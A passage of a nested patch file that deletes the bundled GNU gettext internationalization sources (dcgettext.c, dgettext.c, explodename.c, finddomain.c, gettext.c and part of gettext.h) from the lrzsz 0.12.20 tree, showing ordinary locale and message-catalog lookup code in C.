+-#ifdef _LIBC
+-# include <libintl.h>
+-#else
+-# include "libgettext.h"
+-#endif
+-#include "hash-string.h"
+-
+-/* @@ end of prolog @@ */
+-
+-#ifdef _LIBC
+-/* Rename the non ANSI C functions. This is required by the standard
+- because some ANSI C functions will require linking with this object
+- file and the name space must not be polluted. */
+-# define getcwd __getcwd
+-# define stpcpy __stpcpy
+-#else
+-# if !defined HAVE_GETCWD
+-char *getwd ();
+-# define getcwd(buf, max) getwd (buf)
+-# else
+-char *getcwd ();
+-# endif
+-# ifndef HAVE_STPCPY
+-static char *stpcpy PARAMS ((char *dest, const char *src));
+-# endif
+-#endif
+-
+-/* Amount to increase buffer size by in each try. */
+-#define PATH_INCR 32
+-
+-/* The following is from pathmax.h. */
+-/* Non-POSIX BSD systems might have gcc's limits.h, which doesn't define
+- PATH_MAX but might cause redefinition warnings when sys/param.h is
+- later included (as on MORE/BSD 4.3). */
+-#if defined(_POSIX_VERSION) || (defined(HAVE_LIMITS_H) && !defined(__GNUC__))
+-# include <limits.h>
+-#endif
+-
+-#ifndef _POSIX_PATH_MAX
+-# define _POSIX_PATH_MAX 255
+-#endif
+-
+-#if !defined(PATH_MAX) && defined(_PC_PATH_MAX)
+-# define PATH_MAX (pathconf ("/", _PC_PATH_MAX) < 1 ? 1024 : pathconf ("/", _PC_PATH_MAX))
+-#endif
+-
+-/* Don't include sys/param.h if it already has been. */
+-#if defined(HAVE_SYS_PARAM_H) && !defined(PATH_MAX) && !defined(MAXPATHLEN)
+-# include <sys/param.h>
+-#endif
+-
+-#if !defined(PATH_MAX) && defined(MAXPATHLEN)
+-# define PATH_MAX MAXPATHLEN
+-#endif
+-
+-#ifndef PATH_MAX
+-# define PATH_MAX _POSIX_PATH_MAX
+-#endif
+-
+-/* XPG3 defines the result of `setlocale (category, NULL)' as:
+- ``Directs `setlocale()' to query `category' and return the current
+- setting of `local'.''
+- However it does not specify the exact format. And even worse: POSIX
+- defines this not at all. So we can use this feature only on selected
+- system (e.g. those using GNU C Library). */
+-#ifdef _LIBC
+-# define HAVE_LOCALE_NULL
+-#endif
+-
+-/* Name of the default domain used for gettext(3) prior any call to
+- textdomain(3). The default value for this is "messages". */
+-const char _nl_default_default_domain[] = "messages";
+-
+-/* Value used as the default domain for gettext(3). */
+-const char *_nl_current_default_domain = _nl_default_default_domain;
+-
+-/* Contains the default location of the message catalogs. */
+-const char _nl_default_dirname[] = GNULOCALEDIR;
+-
+-/* List with bindings of specific domains created by bindtextdomain()
+- calls. */
+-struct binding *_nl_domain_bindings;
+-
+-/* Prototypes for local functions. */
+-static char *find_msg PARAMS ((struct loaded_l10nfile *domain_file,
+- const char *msgid));
+-static const char *category_to_name PARAMS ((int category));
+-static const char *guess_category_value PARAMS ((int category,
+- const char *categoryname));
+-
+-
+-/* For those loosing systems which don't have `alloca' we have to add
+- some additional code emulating it. */
+-#ifdef HAVE_ALLOCA
+-/* Nothing has to be done. */
+-# define ADD_BLOCK(list, address) /* nothing */
+-# define FREE_BLOCKS(list) /* nothing */
+-#else
+-struct block_list
+-{
+- void *address;
+- struct block_list *next;
+-};
+-# define ADD_BLOCK(list, addr) \
+- do { \
+- struct block_list *newp = (struct block_list *) malloc (sizeof (*newp)); \
+- /* If we cannot get a free block we cannot add the new element to \
+- the list. */ \
+- if (newp != NULL) { \
+- newp->address = (addr); \
+- newp->next = (list); \
+- (list) = newp; \
+- } \
+- } while (0)
+-# define FREE_BLOCKS(list) \
+- do { \
+- while (list != NULL) { \
+- struct block_list *old = list; \
+- list = list->next; \
+- free (old); \
+- } \
+- } while (0)
+-# undef alloca
+-# define alloca(size) (malloc (size))
+-#endif /* have alloca */
+-
+-
+-/* Names for the libintl functions are a problem. They must not clash
+- with existing names and they should follow ANSI C. But this source
+- code is also used in GNU C Library where the names have a __
+- prefix. So we have to make a difference here. */
+-#ifdef _LIBC
+-# define DCGETTEXT __dcgettext
+-#else
+-# define DCGETTEXT dcgettext__
+-#endif
+-
+-/* Look up MSGID in the DOMAINNAME message catalog for the current CATEGORY
+- locale. */
+-char *
+-DCGETTEXT (domainname, msgid, category)
+- const char *domainname;
+- const char *msgid;
+- int category;
+-{
+-#ifndef HAVE_ALLOCA
+- struct block_list *block_list = NULL;
+-#endif
+- struct loaded_l10nfile *domain;
+- struct binding *binding;
+- const char *categoryname;
+- const char *categoryvalue;
+- char *dirname, *xdomainname;
+- char *single_locale;
+- char *retval;
+- int saved_errno = errno;
+-
+- /* If no real MSGID is given return NULL. */
+- if (msgid == NULL)
+- return NULL;
+-
+- /* If DOMAINNAME is NULL, we are interested in the default domain. If
+- CATEGORY is not LC_MESSAGES this might not make much sense but the
+- defintion left this undefined. */
+- if (domainname == NULL)
+- domainname = _nl_current_default_domain;
+-
+- /* First find matching binding. */
+- for (binding = _nl_domain_bindings; binding != NULL; binding = binding->next)
+- {
+- int compare = strcmp (domainname, binding->domainname);
+- if (compare == 0)
+- /* We found it! */
+- break;
+- if (compare < 0)
+- {
+- /* It is not in the list. */
+- binding = NULL;
+- break;
+- }
+- }
+-
+- if (binding == NULL)
+- dirname = (char *) _nl_default_dirname;
+- else if (binding->dirname[0] == '/')
+- dirname = binding->dirname;
+- else
+- {
+- /* We have a relative path. Make it absolute now. */
+- size_t dirname_len = strlen (binding->dirname) + 1;
+- size_t path_max;
+- char *ret;
+-
+- path_max = (unsigned) PATH_MAX;
+- path_max += 2; /* The getcwd docs say to do this. */
+-
+- dirname = (char *) alloca (path_max + dirname_len);
+- ADD_BLOCK (block_list, dirname);
+-
+- __set_errno (0);
+- while ((ret = getcwd (dirname, path_max)) == NULL && errno == ERANGE)
+- {
+- path_max += PATH_INCR;
+- dirname = (char *) alloca (path_max + dirname_len);
+- ADD_BLOCK (block_list, dirname);
+- __set_errno (0);
+- }
+-
+- if (ret == NULL)
+- {
+- /* We cannot get the current working directory. Don't signal an
+- error but simply return the default string. */
+- FREE_BLOCKS (block_list);
+- __set_errno (saved_errno);
+- return (char *) msgid;
+- }
+-
+- stpcpy (stpcpy (strchr (dirname, '\0'), "/"), binding->dirname);
+- }
+-
+- /* Now determine the symbolic name of CATEGORY and its value. */
+- categoryname = category_to_name (category);
+- categoryvalue = guess_category_value (category, categoryname);
+-
+- xdomainname = (char *) alloca (strlen (categoryname)
+- + strlen (domainname) + 5);
+- ADD_BLOCK (block_list, xdomainname);
+-
+- stpcpy (stpcpy (stpcpy (stpcpy (xdomainname, categoryname), "/"),
+- domainname),
+- ".mo");
+-
+- /* Creating working area. */
+- single_locale = (char *) alloca (strlen (categoryvalue) + 1);
+- ADD_BLOCK (block_list, single_locale);
+-
+-
+- /* Search for the given string. This is a loop because we perhaps
+- got an ordered list of languages to consider for th translation. */
+- while (1)
+- {
+- /* Make CATEGORYVALUE point to the next element of the list. */
+- while (categoryvalue[0] != '\0' && categoryvalue[0] == ':')
+- ++categoryvalue;
+- if (categoryvalue[0] == '\0')
+- {
+- /* The whole contents of CATEGORYVALUE has been searched but
+- no valid entry has been found. We solve this situation
+- by implicitly appending a "C" entry, i.e. no translation
+- will take place. */
+- single_locale[0] = 'C';
+- single_locale[1] = '\0';
+- }
+- else
+- {
+- char *cp = single_locale;
+- while (categoryvalue[0] != '\0' && categoryvalue[0] != ':')
+- *cp++ = *categoryvalue++;
+- *cp = '\0';
+- }
+-
+- /* If the current locale value is C (or POSIX) we don't load a
+- domain. Return the MSGID. */
+- if (strcmp (single_locale, "C") == 0
+- || strcmp (single_locale, "POSIX") == 0)
+- {
+- FREE_BLOCKS (block_list);
+- __set_errno (saved_errno);
+- return (char *) msgid;
+- }
+-
+-
+- /* Find structure describing the message catalog matching the
+- DOMAINNAME and CATEGORY. */
+- domain = _nl_find_domain (dirname, single_locale, xdomainname);
+-
+- if (domain != NULL)
+- {
+- retval = find_msg (domain, msgid);
+-
+- if (retval == NULL)
+- {
+- int cnt;
+-
+- for (cnt = 0; domain->successor[cnt] != NULL; ++cnt)
+- {
+- retval = find_msg (domain->successor[cnt], msgid);
+-
+- if (retval != NULL)
+- break;
+- }
+- }
+-
+- if (retval != NULL)
+- {
+- FREE_BLOCKS (block_list);
+- __set_errno (saved_errno);
+- return retval;
+- }
+- }
+- }
+- /* NOTREACHED */
+-}
+-
+-#ifdef _LIBC
+-/* Alias for function name in GNU C Library. */
+-weak_alias (__dcgettext, dcgettext);
+-#endif
+-
+-
+-static char *
+-find_msg (domain_file, msgid)
+- struct loaded_l10nfile *domain_file;
+- const char *msgid;
+-{
+- size_t top, act, bottom;
+- struct loaded_domain *domain;
+-
+- if (domain_file->decided == 0)
+- _nl_load_domain (domain_file);
+-
+- if (domain_file->data == NULL)
+- return NULL;
+-
+- domain = (struct loaded_domain *) domain_file->data;
+-
+- /* Locate the MSGID and its translation. */
+- if (domain->hash_size > 2 && domain->hash_tab != NULL)
+- {
+- /* Use the hashing table. */
+- nls_uint32 len = strlen (msgid);
+- nls_uint32 hash_val = hash_string (msgid);
+- nls_uint32 idx = hash_val % domain->hash_size;
+- nls_uint32 incr = 1 + (hash_val % (domain->hash_size - 2));
+- nls_uint32 nstr = W (domain->must_swap, domain->hash_tab[idx]);
+-
+- if (nstr == 0)
+- /* Hash table entry is empty. */
+- return NULL;
+-
+- if (W (domain->must_swap, domain->orig_tab[nstr - 1].length) == len
+- && strcmp (msgid,
+- domain->data + W (domain->must_swap,
+- domain->orig_tab[nstr - 1].offset)) == 0)
+- return (char *) domain->data + W (domain->must_swap,
+- domain->trans_tab[nstr - 1].offset);
+-
+- while (1)
+- {
+- if (idx >= domain->hash_size - incr)
+- idx -= domain->hash_size - incr;
+- else
+- idx += incr;
+-
+- nstr = W (domain->must_swap, domain->hash_tab[idx]);
+- if (nstr == 0)
+- /* Hash table entry is empty. */
+- return NULL;
+-
+- if (W (domain->must_swap, domain->orig_tab[nstr - 1].length) == len
+- && strcmp (msgid,
+- domain->data + W (domain->must_swap,
+- domain->orig_tab[nstr - 1].offset))
+- == 0)
+- return (char *) domain->data
+- + W (domain->must_swap, domain->trans_tab[nstr - 1].offset);
+- }
+- /* NOTREACHED */
+- }
+-
+- /* Now we try the default method: binary search in the sorted
+- array of messages. */
+- bottom = 0;
+- top = domain->nstrings;
+- while (bottom < top)
+- {
+- int cmp_val;
+-
+- act = (bottom + top) / 2;
+- cmp_val = strcmp (msgid, domain->data
+- + W (domain->must_swap,
+- domain->orig_tab[act].offset));
+- if (cmp_val < 0)
+- top = act;
+- else if (cmp_val > 0)
+- bottom = act + 1;
+- else
+- break;
+- }
+-
+- /* If an translation is found return this. */
+- return bottom >= top ? NULL : (char *) domain->data
+- + W (domain->must_swap,
+- domain->trans_tab[act].offset);
+-}
+-
+-
+-/* Return string representation of locale CATEGORY. */
+-static const char *
+-category_to_name (category)
+- int category;
+-{
+- const char *retval;
+-
+- switch (category)
+- {
+-#ifdef LC_COLLATE
+- case LC_COLLATE:
+- retval = "LC_COLLATE";
+- break;
+-#endif
+-#ifdef LC_CTYPE
+- case LC_CTYPE:
+- retval = "LC_CTYPE";
+- break;
+-#endif
+-#ifdef LC_MONETARY
+- case LC_MONETARY:
+- retval = "LC_MONETARY";
+- break;
+-#endif
+-#ifdef LC_NUMERIC
+- case LC_NUMERIC:
+- retval = "LC_NUMERIC";
+- break;
+-#endif
+-#ifdef LC_TIME
+- case LC_TIME:
+- retval = "LC_TIME";
+- break;
+-#endif
+-#ifdef LC_MESSAGES
+- case LC_MESSAGES:
+- retval = "LC_MESSAGES";
+- break;
+-#endif
+-#ifdef LC_RESPONSE
+- case LC_RESPONSE:
+- retval = "LC_RESPONSE";
+- break;
+-#endif
+-#ifdef LC_ALL
+- case LC_ALL:
+- /* This might not make sense but is perhaps better than any other
+- value. */
+- retval = "LC_ALL";
+- break;
+-#endif
+- default:
+- /* If you have a better idea for a default value let me know. */
+- retval = "LC_XXX";
+- }
+-
+- return retval;
+-}
+-
+-/* Guess value of current locale from value of the environment variables. */
+-static const char *
+-guess_category_value (category, categoryname)
+- int category;
+- const char *categoryname;
+-{
+- const char *retval;
+-
+- /* The highest priority value is the `LANGUAGE' environment
+- variable. This is a GNU extension. */
+- retval = getenv ("LANGUAGE");
+- if (retval != NULL && retval[0] != '\0')
+- return retval;
+-
+- /* `LANGUAGE' is not set. So we have to proceed with the POSIX
+- methods of looking to `LC_ALL', `LC_xxx', and `LANG'. On some
+- systems this can be done by the `setlocale' function itself. */
+-#if defined HAVE_SETLOCALE && defined HAVE_LC_MESSAGES && defined HAVE_LOCALE_NULL
+- return setlocale (category, NULL);
+-#else
+- /* Setting of LC_ALL overwrites all other. */
+- retval = getenv ("LC_ALL");
+- if (retval != NULL && retval[0] != '\0')
+- return retval;
+-
+- /* Next comes the name of the desired category. */
+- retval = getenv (categoryname);
+- if (retval != NULL && retval[0] != '\0')
+- return retval;
+-
+- /* Last possibility is the LANG environment variable. */
+- retval = getenv ("LANG");
+- if (retval != NULL && retval[0] != '\0')
+- return retval;
+-
+- /* We use C as the default domain. POSIX says this is implementation
+- defined. */
+- return "C";
+-#endif
+-}
+-
+-/* @@ begin of epilog @@ */
+-
+-/* We don't want libintl.a to depend on any other library. So we
+- avoid the non-standard function stpcpy. In GNU C Library this
+- function is available, though. Also allow the symbol HAVE_STPCPY
+- to be defined. */
+-#if !_LIBC && !HAVE_STPCPY
+-static char *
+-stpcpy (dest, src)
+- char *dest;
+- const char *src;
+-{
+- while ((*dest++ = *src++) != '\0')
+- /* Do nothing. */ ;
+- return dest - 1;
+-}
+-#endif
+diff -uprN clean/lrzsz-0.12.20/intl/dgettext.c lrzsz-0.12.20/intl/dgettext.c
+--- clean/lrzsz-0.12.20/intl/dgettext.c 1998-04-26 14:20:52.000000000 +0100
++++ lrzsz-0.12.20/intl/dgettext.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,59 +0,0 @@
+-/* dgettext.c -- implementation of the dgettext(3) function
+- Copyright (C) 1995 Software Foundation, Inc.
+-
+-This program is free software; you can redistribute it and/or modify
+-it under the terms of the GNU General Public License as published by
+-the Free Software Foundation; either version 2, or (at your option)
+-any later version.
+-
+-This program is distributed in the hope that it will be useful,
+-but WITHOUT ANY WARRANTY; without even the implied warranty of
+-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-GNU General Public License for more details.
+-
+-You should have received a copy of the GNU General Public License
+-along with this program; if not, write to the Free Software
+-Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#if defined HAVE_LOCALE_H || defined _LIBC
+-# include <locale.h>
+-#endif
+-
+-#ifdef _LIBC
+-# include <libintl.h>
+-#else
+-# include "libgettext.h"
+-#endif
+-
+-/* @@ end of prolog @@ */
+-
+-/* Names for the libintl functions are a problem. They must not clash
+- with existing names and they should follow ANSI C. But this source
+- code is also used in GNU C Library where the names have a __
+- prefix. So we have to make a difference here. */
+-#ifdef _LIBC
+-# define DGETTEXT __dgettext
+-# define DCGETTEXT __dcgettext
+-#else
+-# define DGETTEXT dgettext__
+-# define DCGETTEXT dcgettext__
+-#endif
+-
+-/* Look up MSGID in the DOMAINNAME message catalog of the current
+- LC_MESSAGES locale. */
+-char *
+-DGETTEXT (domainname, msgid)
+- const char *domainname;
+- const char *msgid;
+-{
+- return DCGETTEXT (domainname, msgid, LC_MESSAGES);
+-}
+-
+-#ifdef _LIBC
+-/* Alias for function name in GNU C Library. */
+-weak_alias (__dgettext, dgettext);
+-#endif
+diff -uprN clean/lrzsz-0.12.20/intl/explodename.c lrzsz-0.12.20/intl/explodename.c
+--- clean/lrzsz-0.12.20/intl/explodename.c 1998-04-26 14:22:37.000000000 +0100
++++ lrzsz-0.12.20/intl/explodename.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,181 +0,0 @@
+-/* Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+- Contributed by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#include <stdlib.h>
+-#include <string.h>
+-#include <sys/types.h>
+-
+-#include "loadinfo.h"
+-
+-/* On some strange systems still no definition of NULL is found. Sigh! */
+-#ifndef NULL
+-# if defined __STDC__ && __STDC__
+-# define NULL ((void *) 0)
+-# else
+-# define NULL 0
+-# endif
+-#endif
+-
+-/* @@ end of prolog @@ */
+-
+-int
+-_nl_explode_name (name, language, modifier, territory, codeset,
+- normalized_codeset, special, sponsor, revision)
+- char *name;
+- const char **language;
+- const char **modifier;
+- const char **territory;
+- const char **codeset;
+- const char **normalized_codeset;
+- const char **special;
+- const char **sponsor;
+- const char **revision;
+-{
+- enum { undecided, xpg, cen } syntax;
+- char *cp;
+- int mask;
+-
+- *modifier = NULL;
+- *territory = NULL;
+- *codeset = NULL;
+- *normalized_codeset = NULL;
+- *special = NULL;
+- *sponsor = NULL;
+- *revision = NULL;
+-
+- /* Now we determine the single parts of the locale name. First
+- look for the language. Termination symbols are `_' and `@' if
+- we use XPG4 style, and `_', `+', and `,' if we use CEN syntax. */
+- mask = 0;
+- syntax = undecided;
+- *language = cp = name;
+- while (cp[0] != '\0' && cp[0] != '_' && cp[0] != '@'
+- && cp[0] != '+' && cp[0] != ',')
+- ++cp;
+-
+- if (*language == cp)
+- /* This does not make sense: language has to be specified. Use
+- this entry as it is without exploding. Perhaps it is an alias. */
+- cp = strchr (*language, '\0');
+- else if (cp[0] == '_')
+- {
+- /* Next is the territory. */
+- cp[0] = '\0';
+- *territory = ++cp;
+-
+- while (cp[0] != '\0' && cp[0] != '.' && cp[0] != '@'
+- && cp[0] != '+' && cp[0] != ',' && cp[0] != '_')
+- ++cp;
+-
+- mask |= TERRITORY;
+-
+- if (cp[0] == '.')
+- {
+- /* Next is the codeset. */
+- syntax = xpg;
+- cp[0] = '\0';
+- *codeset = ++cp;
+-
+- while (cp[0] != '\0' && cp[0] != '@')
+- ++cp;
+-
+- mask |= XPG_CODESET;
+-
+- if (*codeset != cp && (*codeset)[0] != '\0')
+- {
+- *normalized_codeset = _nl_normalize_codeset (*codeset,
+- cp - *codeset);
+- if (strcmp (*codeset, *normalized_codeset) == 0)
+- free ((char *) *normalized_codeset);
+- else
+- mask |= XPG_NORM_CODESET;
+- }
+- }
+- }
+-
+- if (cp[0] == '@' || (syntax != xpg && cp[0] == '+'))
+- {
+- /* Next is the modifier. */
+- syntax = cp[0] == '@' ? xpg : cen;
+- cp[0] = '\0';
+- *modifier = ++cp;
+-
+- while (syntax == cen && cp[0] != '\0' && cp[0] != '+'
+- && cp[0] != ',' && cp[0] != '_')
+- ++cp;
+-
+- mask |= XPG_MODIFIER | CEN_AUDIENCE;
+- }
+-
+- if (syntax != xpg && (cp[0] == '+' || cp[0] == ',' || cp[0] == '_'))
+- {
+- syntax = cen;
+-
+- if (cp[0] == '+')
+- {
+- /* Next is special application (CEN syntax). */
+- cp[0] = '\0';
+- *special = ++cp;
+-
+- while (cp[0] != '\0' && cp[0] != ',' && cp[0] != '_')
+- ++cp;
+-
+- mask |= CEN_SPECIAL;
+- }
+-
+- if (cp[0] == ',')
+- {
+- /* Next is sponsor (CEN syntax). */
+- cp[0] = '\0';
+- *sponsor = ++cp;
+-
+- while (cp[0] != '\0' && cp[0] != '_')
+- ++cp;
+-
+- mask |= CEN_SPONSOR;
+- }
+-
+- if (cp[0] == '_')
+- {
+- /* Next is revision (CEN syntax). */
+- cp[0] = '\0';
+- *revision = ++cp;
+-
+- mask |= CEN_REVISION;
+- }
+- }
+-
+- /* For CEN syntax values it might be important to have the
+- separator character in the file name, not for XPG syntax. */
+- if (syntax == xpg)
+- {
+- if (*territory != NULL && (*territory)[0] == '\0')
+- mask &= ~TERRITORY;
+-
+- if (*codeset != NULL && (*codeset)[0] == '\0')
+- mask &= ~XPG_CODESET;
+-
+- if (*modifier != NULL && (*modifier)[0] == '\0')
+- mask &= ~XPG_MODIFIER;
+- }
+-
+- return mask;
+-}
+diff -uprN clean/lrzsz-0.12.20/intl/finddomain.c lrzsz-0.12.20/intl/finddomain.c
+--- clean/lrzsz-0.12.20/intl/finddomain.c 1998-04-26 14:22:36.000000000 +0100
++++ lrzsz-0.12.20/intl/finddomain.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,189 +0,0 @@
+-/* Handle list of needed message catalogs
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+- Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#include <ctype.h>
+-#include <errno.h>
+-#include <stdio.h>
+-#include <sys/types.h>
+-
+-#if defined STDC_HEADERS || defined _LIBC
+-# include <stdlib.h>
+-#else
+-# ifdef HAVE_MALLOC_H
+-# include <malloc.h>
+-# else
+-void free ();
+-# endif
+-#endif
+-
+-#if defined HAVE_STRING_H || defined _LIBC
+-# include <string.h>
+-#else
+-# include <strings.h>
+-# ifndef memcpy
+-# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
+-# endif
+-#endif
+-#if !HAVE_STRCHR && !defined _LIBC
+-# ifndef strchr
+-# define strchr index
+-# endif
+-#endif
+-
+-#if defined HAVE_UNISTD_H || defined _LIBC
+-# include <unistd.h>
+-#endif
+-
+-#include "gettext.h"
+-#include "gettextP.h"
+-#ifdef _LIBC
+-# include <libintl.h>
+-#else
+-# include "libgettext.h"
+-#endif
+-
+-/* @@ end of prolog @@ */
+-/* List of already loaded domains. */
+-static struct loaded_l10nfile *_nl_loaded_domains;
+-
+-
+-/* Return a data structure describing the message catalog described by
+- the DOMAINNAME and CATEGORY parameters with respect to the currently
+- established bindings. */
+-struct loaded_l10nfile *
+-_nl_find_domain (dirname, locale, domainname)
+- const char *dirname;
+- char *locale;
+- const char *domainname;
+-{
+- struct loaded_l10nfile *retval;
+- const char *language;
+- const char *modifier;
+- const char *territory;
+- const char *codeset;
+- const char *normalized_codeset;
+- const char *special;
+- const char *sponsor;
+- const char *revision;
+- const char *alias_value;
+- int mask;
+-
+- /* LOCALE can consist of up to four recognized parts for the XPG syntax:
+-
+- language[_territory[.codeset]][@modifier]
+-
+- and six parts for the CEN syntax:
+-
+- language[_territory][+audience][+special][,[sponsor][_revision]]
+-
+- Beside the first all of them are allowed to be missing. If the
+- full specified locale is not found, the less specific one are
+- looked for. The various part will be stripped of according to
+- the following order:
+- (1) revision
+- (2) sponsor
+- (3) special
+- (4) codeset
+- (5) normalized codeset
+- (6) territory
+- (7) audience/modifier
+- */
+-
+- /* If we have already tested for this locale entry there has to
+- be one data set in the list of loaded domains. */
+- retval = _nl_make_l10nflist (&_nl_loaded_domains, dirname,
+- strlen (dirname) + 1, 0, locale, NULL, NULL,
+- NULL, NULL, NULL, NULL, NULL, domainname, 0);
+- if (retval != NULL)
+- {
+- /* We know something about this locale. */
+- int cnt;
+-
+- if (retval->decided == 0)
+- _nl_load_domain (retval);
+-
+- if (retval->data != NULL)
+- return retval;
+-
+- for (cnt = 0; retval->successor[cnt] != NULL; ++cnt)
+- {
+- if (retval->successor[cnt]->decided == 0)
+- _nl_load_domain (retval->successor[cnt]);
+-
+- if (retval->successor[cnt]->data != NULL)
+- break;
+- }
+- return cnt >= 0 ? retval : NULL;
+- /* NOTREACHED */
+- }
+-
+- /* See whether the locale value is an alias. If yes its value
+- *overwrites* the alias name. No test for the original value is
+- done. */
+- alias_value = _nl_expand_alias (locale);
+- if (alias_value != NULL)
+- {
+- size_t len = strlen (alias_value) + 1;
+- locale = (char *) malloc (len);
+- if (locale == NULL)
+- return NULL;
+-
+- memcpy (locale, alias_value, len);
+- }
+-
+- /* Now we determine the single parts of the locale name. First
+- look for the language. Termination symbols are `_' and `@' if
+- we use XPG4 style, and `_', `+', and `,' if we use CEN syntax. */
+- mask = _nl_explode_name (locale, &language, &modifier, &territory,
+- &codeset, &normalized_codeset, &special,
+- &sponsor, &revision);
+-
+- /* Create all possible locale entries which might be interested in
+- generalization. */
+- retval = _nl_make_l10nflist (&_nl_loaded_domains, dirname,
+- strlen (dirname) + 1, mask, language, territory,
+- codeset, normalized_codeset, modifier, special,
+- sponsor, revision, domainname, 1);
+- if (retval == NULL)
+- /* This means we are out of core. */
+- return NULL;
+-
+- if (retval->decided == 0)
+- _nl_load_domain (retval);
+- if (retval->data == NULL)
+- {
+- int cnt;
+- for (cnt = 0; retval->successor[cnt] != NULL; ++cnt)
+- {
+- if (retval->successor[cnt]->decided == 0)
+- _nl_load_domain (retval->successor[cnt]);
+- if (retval->successor[cnt]->data != NULL)
+- break;
+- }
+- }
+-
+- /* The room for an alias was dynamically allocated. Free it now. */
+- if (alias_value != NULL)
+- free (locale);
+-
+- return retval;
+-}
+diff -uprN clean/lrzsz-0.12.20/intl/gettext.c lrzsz-0.12.20/intl/gettext.c
+--- clean/lrzsz-0.12.20/intl/gettext.c 1998-04-26 14:22:36.000000000 +0100
++++ lrzsz-0.12.20/intl/gettext.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,70 +0,0 @@
+-/* Implementation of gettext(3) function
+- Copyright (C) 1995, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#ifdef _LIBC
+-# define __need_NULL
+-# include <stddef.h>
+-#else
+-# ifdef STDC_HEADERS
+-# include <stdlib.h> /* Just for NULL. */
+-# else
+-# ifdef HAVE_STRING_H
+-# include <string.h>
+-# else
+-# define NULL ((void *) 0)
+-# endif
+-# endif
+-#endif
+-
+-#ifdef _LIBC
+-# include <libintl.h>
+-#else
+-# include "libgettext.h"
+-#endif
+-
+-/* @@ end of prolog @@ */
+-
+-/* Names for the libintl functions are a problem. They must not clash
+- with existing names and they should follow ANSI C. But this source
+- code is also used in GNU C Library where the names have a __
+- prefix. So we have to make a difference here. */
+-#ifdef _LIBC
+-# define GETTEXT __gettext
+-# define DGETTEXT __dgettext
+-#else
+-# define GETTEXT gettext__
+-# define DGETTEXT dgettext__
+-#endif
+-
+-/* Look up MSGID in the current default message catalog for the current
+- LC_MESSAGES locale. If not found, returns MSGID itself (the default
+- text). */
+-char *
+-GETTEXT (msgid)
+- const char *msgid;
+-{
+- return DGETTEXT (NULL, msgid);
+-}
+-
+-#ifdef _LIBC
+-/* Alias for function name in GNU C Library. */
+-weak_alias (__gettext, gettext);
+-#endif
+diff -uprN clean/lrzsz-0.12.20/intl/gettext.h lrzsz-0.12.20/intl/gettext.h
+--- clean/lrzsz-0.12.20/intl/gettext.h 1998-04-26 14:22:35.000000000 +0100
++++ lrzsz-0.12.20/intl/gettext.h 1970-01-01 01:00:00.000000000 +0100
+@@ -1,105 +0,0 @@
+-/* Internal header for GNU gettext internationalization functions
+- Copyright (C) 1995, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU Library General Public
+- License along with the GNU C Library; see the file COPYING.LIB. If not,
+- write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+- Boston, MA 02111-1307, USA. */
+-
+-#ifndef _GETTEXT_H
+-#define _GETTEXT_H 1
+-
+-#include <stdio.h>
+-
+-#if HAVE_LIMITS_H || _LIBC
+-# include <limits.h>
+-#endif
+-
+-/* @@ end of prolog @@ */
+-
+-/* The magic number of the GNU message catalog format. */
+-#define _MAGIC 0x950412de
+-#define _MAGIC_SWAPPED 0xde120495
+-
+-/* Revision number of the currently used .mo (binary) file format. */
+-#define MO_REVISION_NUMBER 0
+-
+-/* The following contortions are an attempt to use the C preprocessor
+- to determine an unsigned integral type that is 32 bits wide. An
+- alternative approach is to use autoconf's AC_CHECK_SIZEOF macro, but
+- doing that would require that the configure script compile and *run*
+- the resulting executable. Locally running cross-compiled executables
+- is usually not possible. */
+-
+-#if __STDC__
